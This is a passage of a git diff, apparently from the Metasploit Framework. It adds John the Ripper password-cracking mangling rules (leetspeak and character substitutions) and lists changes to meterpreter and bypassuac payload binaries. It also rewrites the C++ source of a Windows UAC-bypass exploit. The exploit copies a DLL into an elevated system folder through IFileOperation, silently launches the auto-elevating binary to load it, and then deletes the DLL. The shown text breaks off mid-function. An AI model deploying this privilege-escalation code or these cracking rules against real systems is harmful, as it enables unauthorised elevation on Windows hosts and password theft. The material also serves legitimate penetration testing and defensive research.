+-[:c] /A /\r[aabBeEiiiIIIllllLLLLoOssSStT1111003344557788] sA4 s\0\r\p[@488331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+# Kore also had these, but (intentionally?) missed sb8 on this set (after sA4)
+#/AsA4/4s4a[:c]
+#/AsA4/4s4A[:c]
+-[:c] /b /\r[aaAABeEiiiIIIllllLLLLoOssSStT1111003344557788] sb8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /B /\r[aaAAbeEiiiIIIllllLLLLoOssSStT1111003344557788] sB8 s\0\r\p[@44@8331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /e /\r[aaAAbBEiiiIIIllllLLLLoOssSStT1111003344557788] se3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /E /\r[aaAAbBeiiiIIIllllLLLLoOssSStT1111003344557788] sE3 s\0\r\p[@44@8831!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /i /\r[aaAAbBeEIIIllllLLLLoOssSStT1111003344557788] si[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /I /\r[aaAAbBeEiiillllLLLLoOssSStT1111003344557788] sI[1!|] s\2\r\p2[@44@88331!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+# Kore's rules only included sl[17|], but not sl!
+-[:c] /l /\r[aaAAbBeEiiiIIILLLLoOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+# All "/L" rules (171 lines) were buggy
+-[:c] /L /\r[aaAAbBeEiiiIIIlllloOssSStT1111003344557788] sl[17|!] s\2\r\p2[@44@88331|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /o /\r[aaAAbBeEiiiIIIllllLLLLOssSStT1111003344557788] so0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /O /\r[aaAAbBeEiiiIIIllllLLLLossSStT1111003344557788] sO0 s\0\r\p[@44@88331!|1!|17|!17|!0$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /s /\r[aaAAbBeEiiiIIIllllLLLLoOSStT1111003344557788] ss[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /S /\r[aaAAbBeEiiiIIIllllLLLLoOsstT1111003344557788] sS[$5] s\2\r\p2[@44@88331!|1!|17|!17|!00$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /t /\r[aaAAbBeEiiiIIIllllLLLLoOssSST1111003344557788] st+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /T /\r[aaAAbBeEiiiIIIllllLLLLoOssSSt1111003344557788] sT+ s\0\r\p[@44@88331!|1!|17|!17|!00$5$5+!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /1 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT003344557788] s1[!iI|] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /0 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11113344557788] s0[oO] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|eEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /3 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110044557788] s3[eE] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+#-[:c] /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT1111003344557788] s\0\r\p[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /4 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033557788] s4[aA] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEsSlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /5 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033447788] s5[sS] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAlLbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /7 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445588] s7[lL] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSbB] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /8 /\r[aaAAbBeEiiiIIIllllLLLLoOssSStT11110033445577] s8[bB] s\2\r\p2[@44@88331!|1!|17|!17|!00$5$5++!iI|oOeEaAsSlL] \p1[:M] \p1[:c] \p1[:Q]
+# These are some popular triple/quad l33t rules
+-[:c] /a /e /[los] sa4 se3 s\0\p[10$] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /[ae] /l /[os] s\2\p2[43] sl1 s\3\p3[0$] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /[ae] /o /s s\2\p2[43] so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /l /o /s sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /a /[el] /o /s sa4 s\0\p[31] so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /e /l /o /s se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
+-[:c] /a /e /l /o /s sa4 se3 sl1 so0 ss$ \p1[:M] \p1[:c] \p1[:Q]
+
+;[List.Rules:KoreLogicRulesReplaceSpecial2Special]
+# Kore's rules were missing "*"
+/! s![@#$%^&*()\-=_+\\|;:'",./?><]
+/@ s@[!#$%^&*()\-=_+\\|;:'",./?><]
+/# s#[!@$%^&*()\-=_+\\|;:'",./?><]
+/$ s$[!@#%^&*()\-=_+\\|;:'",./?><]
+/% s%[!@#$^&*()\-=_+\\|;:'",./?><]
+/^ s^[!@#$%&*()\-=_+\\|;:'",./?><]
+/& s&[!@#$%^*()\-=_+\\|;:'",./?><]
+/( s([!@#$%^&*)\-=_+\\|;:'",./?><]
+/) s([!@#$%^&*(\-=_+\\|;:'",./?><]
+# Kore's ruleset erroneously had:
+#/-s--
+/- s-[!@#$%^&*()=_+\\|;:'",./?><]
+/= s=[!@#$%^&*()\-_+\\|;:'",./?><]
+/_ s_[!@#$%^&*()\-=+\\|;:'",./?><]
+/+ s+[!@#$%^&*()\-=_\\|;:'",./?><]
+# Kore's rules did not replace backslash
+/\\ s\\[!@#$%^&*()\-=_+|;:'",./?><]
+/| s|[!@#$%^&*()\-=_+\\;:'",./?><]
+/; s;[!@#$%^&*()\-=_+\\|:'",./?><]
+/: s:[!@#$%^&*()\-=_+\\|;'",./?><]
+/' s'[!@#$%^&*()\-=_+\\|;:",./?><]
+/" s"[!@#$%^&*()\-=_+\\|;:',./?><]
+/, s,[!@#$%^&*()\-=_+\\|;:'"./?><]
+/. s.[!@#$%^&*()\-=_+\\|;:'",/?><]
+// s/[!@#$%^&*()\-=_+\\|;:'",.?><]
+/> s>[!@#$%^&*()\-=_+\\|;:'",./?<]
+/< s<[!@#$%^&*()\-=_+\\|;:'",./?>]
+
+;[List.Rules:KoreLogicRulesReplaceLetters]
+/a sa[b-z]
+/b sb[ac-z]
+/c sc[abd-z]
+/d sd[a-ce-z]
+/e se[a-df-z]
+/f sf[a-eg-z]
+/g sg[a-fh-z]
+/h sh[a-gi-z]
+/i si[a-hj-z]
+/j sj[a-ik-z]
+/k sk[a-jl-z]
+/l sl[a-km-z]
+/m sm[a-ln-z]
+/n sn[a-mo-z]
+/o so[a-np-z]
+/p sp[a-oq-z]
+/q sq[a-pr-z]
+/r sr[a-qs-z]
+/s ss[a-rt-z]
+/t st[a-su-z]
+/u su[a-tv-z]
+/v sv[a-uw-z]
+/w sw[a-vx-z]
+/x sx[a-wyz]
+/y sy[a-xz]
+# Kore's ruleset was truncated after "/zszr"
+/z sz[a-y]
+-c /[a-z] s\0[A-Z]
+
+;[List.Rules:KoreLogicRulesAppendSpecialNumberNumber]
+-[c:] \p[c:] Az"[!$@#%.][0-9][0-9]" <+
+-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+
+
+;[List.Rules:KoreLogicRulesPrependNumNumAppendSpecial]
+-[c:] \p[c:] A0"[0-9][0-9]" <* $[!$@#%.]
+-[c:] \p[c:] A0"[0-9][0-9]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*]
+
+;[List.Rules:KoreLogicRulesPrependNumNumSpecial]
+-[c:] \p[c:] A0"[0-9][0-9][!$@#%.]"
+-[c:] \p[c:] A0q[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q
+
+;[List.Rules:KoreLogicRulesAppend2NumSpecial]
+-[c:] \p[c:] Az"[0-9][0-9][!$@#%.]" <+
+-[c:] \p[c:] Azq[0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesPrependDaysWeek]
+A0"[Mm][oO0][nN][dD][aA4@][yY]"
+A0"[Tt][uU][eE3][sS$][dD][aA4@][yY]"
+A0"[Ww][eE3][dD][nN][eE3][sS$][dD][aA4@][yY]"
+A0"[Tt][hH][uU][rR][sS$][dD][aA4@][yY]"
+A0"[Ff][rR][iI1!][dD][aA4@][yY]"
+A0"[Ss][aA4@][tT+][uU][rR][dD][aA4@][yY]"
+A0"[Ss][uU][nN][dD][aA4@][yY]"
+
+;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-3]
+## Add Number Number Special
+-[c:] \p[c:] Azq[0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+## Add Special Number Number
+-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9]q <+
+
+;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumber]
+-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <* $[0-9]
+-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <* $[0-9]
+
+;[List.Rules:KoreLogicRulesAppend4Num]
+-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesPrependNumNumNumNum]
+-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]"
+
+;[List.Rules:KoreLogicRulesPrepend2NumbersAppend2Numbers]
+-[c:] \p[c:] A0"[0-9][0-9]" <- Az"[0-9][0-9]"
+
+;[List.Rules:KoreLogicRulesPrependCAPCAPAppendSpecial]
+A0"[A-Z][A-Z]" <* $[!$@#%.]
+A0"[A-Z][A-Z]" <* $[^&()_+\-={}|[\]\\;'":,/<>?`~*]
+
+;[List.Rules:KoreLogicRulesAppendSpecialLowerLower]
+-[c:] \p[c:] AzQ[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][a-z][a-z]Q <+
+
+# The last line of KoreLogicRulesAppendNumbers_and_Specials_Simple
+;[List.Rules:KoreLogicRulesAppendNumbers_and_Specials_Simple-4]
+# Add 100! ... 999! to the end
+-[c:] \p[c:] Azq[0-9][0-9][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesAppendSpecial3num]
+-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+
+-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+
+
+;[List.Rules:KoreLogicRulesAppendSpecialNumberNumberNumber]
+-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9]" <+
+-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9]q <+
+
+;[List.Rules:KoreLogicRulesAppend3NumSpecial]
+-[c:] \p[c:] Az"[0-9][0-9][0-9][!$@#%.]" <+
+-[c:] \p[c:] Azq[0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesPrependNumNum_AppendNumSpecial]
+-[c:] \p[c:] A0"[0-9][0-9]" Azq[0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesAppendJustSpecials3Times]
+-[c:] \p[c:] Az"[!$@#%.][!$@#%.][!$@#%.]" <+
+-[c:] \p[c:] Azq[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesAppendCap-Num_or_Special-Twice]
+-[c:] \p[c:] Az"[A-Z][0-9][0-9]" <+
+-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9]q <+
+-[c:] \p[c:] Azq[A-Z][0-9][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+-[c:] \p[c:] Azq[A-Z][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumber]
+-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" <- Az"[0-9][0-9]"
+-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <- Az"[0-9][0-9]"
+
+;[List.Rules:KoreLogicRulesAppend5Num]
+-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesAppendSpecial4num]
+-[c:] \p[c:] Az"[!$@#%.][0-9][0-9][0-9][0-9]" <+
+-[c:] \p[c:] Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*][0-9][0-9][0-9][0-9]q <+
+
+;[List.Rules:KoreLogicRulesPrepend4NumAppendSpecial]
+-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- $[!$@#%.]
+-[c:] \p[c:] A0"[0-9][0-9][0-9][0-9]" <- Azq[^&()_+\-={}|[\]\\;'":,/<>?`~*]q
+
+;[List.Rules:KoreLogicRulesAppend4NumSpecial]
+-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][!$@#%.]" <+
+-[c:] \p[c:] Azq[0-9][0-9][0-9][0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+
+
+;[List.Rules:KoreLogicRulesPrependSpecialSpecialAppendNumbersNumberNumber]
+-[c:] \p[c:] A0"[!$@#%.][!$@#%.]" Az"[0-9][0-9][0-9]" <+
+-[c:] \p[c:] A0q[^&()_+\-={}|[\]\\;'":,/<>?`~*][^&()_+\-={}|[\]\\;'":,/<>?`~*]q Az"[0-9][0-9][0-9]" <+
+
+;[List.Rules:KoreLogicRulesAppend6Num]
+-[c:] \p[c:] Az"[0-9][0-9][0-9][0-9][0-9][0-9]" <+
\ No newline at end of file
diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib
deleted file mode 100644
index 7513cc3ae8..0000000000
Binary files a/data/meterpreter/common.lib and /dev/null differ
diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso
index 1d9021abf4..86ffa07965 100755
Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ
diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll
deleted file mode 100755
index 3a36b5bf81..0000000000
Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and /dev/null differ
diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll
deleted file mode 100755
index b3d708ef96..0000000000
Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and /dev/null differ
diff --git a/data/meterpreter/metcli.exe b/data/meterpreter/metcli.exe
deleted file mode 100755
index 332cca98c7..0000000000
Binary files a/data/meterpreter/metcli.exe and /dev/null differ
diff --git a/data/meterpreter/msflinker_linux_x86.bin b/data/meterpreter/msflinker_linux_x86.bin
index b11a5c5932..0fa89d022e 100644
Binary files a/data/meterpreter/msflinker_linux_x86.bin and b/data/meterpreter/msflinker_linux_x86.bin differ
diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll
index 079b16ce11..1790c4659c 100755
Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ
diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll
index 6b42302e3d..76d7b87240 100755
Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ
diff --git a/db/schema.rb b/db/schema.rb
index 83e99da75a..597c560ef3 100644
--- a/db/schema.rb
+++ b/db/schema.rb
@@ -11,7 +11,7 @@
#
# It's strongly recommended to check this file into your version control system.
-ActiveRecord::Schema.define(:version => 20140922170030) do
+ActiveRecord::Schema.define(:version => 20150106201450) do
create_table "api_keys", :force => true do |t|
t.text "token"
diff --git a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj
index 0695003480..e4b84d4ce1 100644
--- a/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj
+++ b/external/source/exploits/bypassuac_injection/dll/reflective_dll.vcxproj
@@ -93,7 +93,7 @@
Disabled
- WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
true
EnableFastChecks
MultiThreadedDebugDLL
@@ -132,7 +132,7 @@
MaxSpeed
OnlyExplicitInline
true
- WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)
MultiThreaded
true
@@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"
-
+
-
+
diff --git a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
old mode 100644
new mode 100755
index 4f0ba9b113..1f27187277
--- a/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
+++ b/external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp
@@ -1,119 +1,158 @@
+#include "ReflectiveLoader.h"
#include "Exploit.h"
-void exploit()
-{
+#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
- const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
- const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
- const wchar_t *sySysPrepExe = L"sysprep.exe";
- const wchar_t *szElevDll = L"CRYPTBASE.dll";
- const wchar_t *szSourceDll = L"CRYPTBASE.dll";
- wchar_t szElevDir[MAX_PATH] = {};
- wchar_t szElevDir_syswow64[MAX_PATH] = {};
- wchar_t szElevDllFull[MAX_PATH] = {};
- wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
- wchar_t szElevExeFull[MAX_PATH] = {};
- wchar_t path[MAX_PATH] = {};
- wchar_t windir[MAX_PATH] = {};
- const wchar_t *szElevArgs = L"";
- const wchar_t *szEIFOMoniker = NULL;
- PVOID OldValue = NULL;
+extern "C" {
- IFileOperation *pFileOp = NULL;
- IShellItem *pSHISource = 0;
- IShellItem *pSHIDestination = 0;
- IShellItem *pSHIDelete = 0;
+ void exploit(BypassUacPaths const * const paths)
+ {
+ const wchar_t *szElevArgs = L"";
+ const wchar_t *szEIFOMoniker = NULL;
- const IID *pIID_EIFO = &__uuidof(IFileOperation);
- const IID *pIID_EIFOClass = &__uuidof(FileOperation);
- const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
+ PVOID OldValue = NULL;
- GetWindowsDirectoryW(windir, MAX_PATH);
- GetTempPathW(MAX_PATH, path);
+ IFileOperation *pFileOp = NULL;
+ IShellItem *pSHISource = 0;
+ IShellItem *pSHIDestination = 0;
+ IShellItem *pSHIDelete = 0;
- /* %temp%\cryptbase.dll */
- wcscat_s(path, MAX_PATH, szSourceDll);
-
- /* %windir%\System32\sysprep\ */
- wcscat_s(szElevDir, MAX_PATH, windir);
- wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
+ BOOL bComInitialised = FALSE;
- /* %windir%\sysnative\sysprep\ */
- wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
- wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
+ const IID *pIID_EIFO = &__uuidof(IFileOperation);
+ const IID *pIID_EIFOClass = &__uuidof(FileOperation);
+ const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
- /* %windir\system32\sysprep\cryptbase.dll */
- wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
- wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
+ dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
+ dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
+ dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
+ dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
+ dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
+ dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
- /* %windir\sysnative\sysprep\cryptbase.dll */
- wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
- wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
-
- /* %windir%\system32\sysprep\sysprep.exe */
- wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
- wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
-
- if (CoInitialize(NULL) == S_OK)
- {
- if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
+ do
{
- if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
+ if (CoInitialize(NULL) != S_OK)
{
- if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
- {
- if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
- {
- if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
- {
- /* Copy the DLL file to the sysprep folder*/
- if (pFileOp->PerformOperations() == S_OK)
- {
- /* Execute sysprep.exe */
- SHELLEXECUTEINFOW shinfo;
- ZeroMemory(&shinfo, sizeof(shinfo));
- shinfo.cbSize = sizeof(shinfo);
- shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
- shinfo.lpFile = szElevExeFull;
- shinfo.lpParameters = szElevArgs;
- shinfo.lpDirectory = szElevDir;
- shinfo.nShow = SW_HIDE;
-
- Wow64DisableWow64FsRedirection(&OldValue);
- if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
- {
- WaitForSingleObject(shinfo.hProcess, 10000);
- CloseHandle(shinfo.hProcess);
- }
-
- if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
- {
- if (0 != pSHIDelete)
- {
- if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
- {
- pFileOp->PerformOperations();
- // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
- // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
- // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
- if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
- {
- if (0 != pSHIDelete)
- {
- if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
- {
- pFileOp->PerformOperations();
- }
- }
- }
- }
- }
- }
- }
- }
- }
- }
+ dprintf("[BYPASSUACINJ] Failed to initialize COM");
+ break;
}
+
+ bComInitialised = TRUE;
+
+ if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
+ break;
+ }
+
+ if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
+ break;
+ }
+
+ if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
+ break;
+ }
+
+ if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
+ break;
+ }
+
+ if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
+ break;
+ }
+
+ /* Copy the DLL file to the target folder*/
+ if (pFileOp->PerformOperations() != S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Unable to copy elev dll");
+ break;
+ }
+
+ /* Execute the target binary */
+ SHELLEXECUTEINFOW shinfo;
+ ZeroMemory(&shinfo, sizeof(shinfo));
+ shinfo.cbSize = sizeof(shinfo);
+ shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
+ shinfo.lpFile = paths->szElevExeFull;
+ shinfo.lpParameters = szElevArgs;
+ shinfo.lpDirectory = paths->szElevDir;
+ shinfo.nShow = SW_HIDE;
+
+ Wow64DisableWow64FsRedirection(&OldValue);
+ if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
+ {
+ WaitForSingleObject(shinfo.hProcess, 10000);
+ CloseHandle(shinfo.hProcess);
+ }
+
+ if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
+ || NULL == pSHIDelete)
+ {
+ dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
+ break;
+ }
+
+ if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
+ {
+ dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
+ break;
+ }
+
+ if (pFileOp->PerformOperations() == S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Successfully deleted dll");
+
+ // bail out this point because we don't need to keep trying to delete
+ break;
+ }
+
+ SAFERELEASE(pSHIDelete);
+
+ // If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
+ // DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
+ // http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
+ if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
+ || NULL == pSHIDelete)
+ {
+ dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
+ break;
+ }
+
+ if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
+ {
+ dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
+ break;
+ }
+
+ if (pFileOp->PerformOperations() == S_OK)
+ {
+ dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
+ }
+ else
+ {
+ dprintf("[BYPASSUACINJ] Failed to delete target DLL");
